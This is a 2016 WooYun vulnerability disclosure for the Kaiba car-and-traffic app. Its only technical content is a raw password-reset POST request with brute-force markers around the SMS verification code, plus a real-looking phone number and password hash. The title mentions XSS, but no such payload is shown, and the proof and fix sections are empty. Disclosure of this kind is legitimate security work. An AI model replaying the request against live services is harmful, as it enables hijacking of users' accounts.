开吧APP客户端XSS盲打/任意用户登录

漏洞概要 关注数(2) 关注此漏洞

缺陷编号： WooYun-2016-178835

漏洞标题： 开吧APP客户端XSS盲打/任意用户登录

相关厂商： 开吧

漏洞作者： 小龙

提交时间： 2016-02-29 14:04

公开时间： 2016-04-14 14:04

漏洞类型： XSS 跨站脚本攻击

危害等级： 高

自评Rank： 20

漏洞状态： 未联系到厂商或者厂商积极忽略

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 持久型xss 存储型xss XSS

1人收藏

漏洞详情

披露状态：

2016-02-29： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-04-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

开吧是杭州交通91.8电台推出的一款集汽车消费投诉点评、路况查询爆料、广播节目互动、跨境购等功能的APP。一键上传投诉信息，问题直达4S店；随时随地，与喜爱的主持人互动聊天；打开地图，即刻查询周边道路情况，与附近车友打招呼；正品跨境购产品，淘到手软；特价车险省钱又省心！

详细说明：

POST /ForgetPass/ModifyPass HTTP/1.1
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; SM-G3502C Build/JLS36C)
 Host: api.v2.918kaiba.com:81
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 103
 
 code=§1234§&shortToken=216647&source=330100&password=fcea920f7412b5da7be0cf42b8c93759&mobile=18268876391&

漏洞证明：

修复方案：

版权声明：转载请注明来源 小龙@乌云

漏洞回应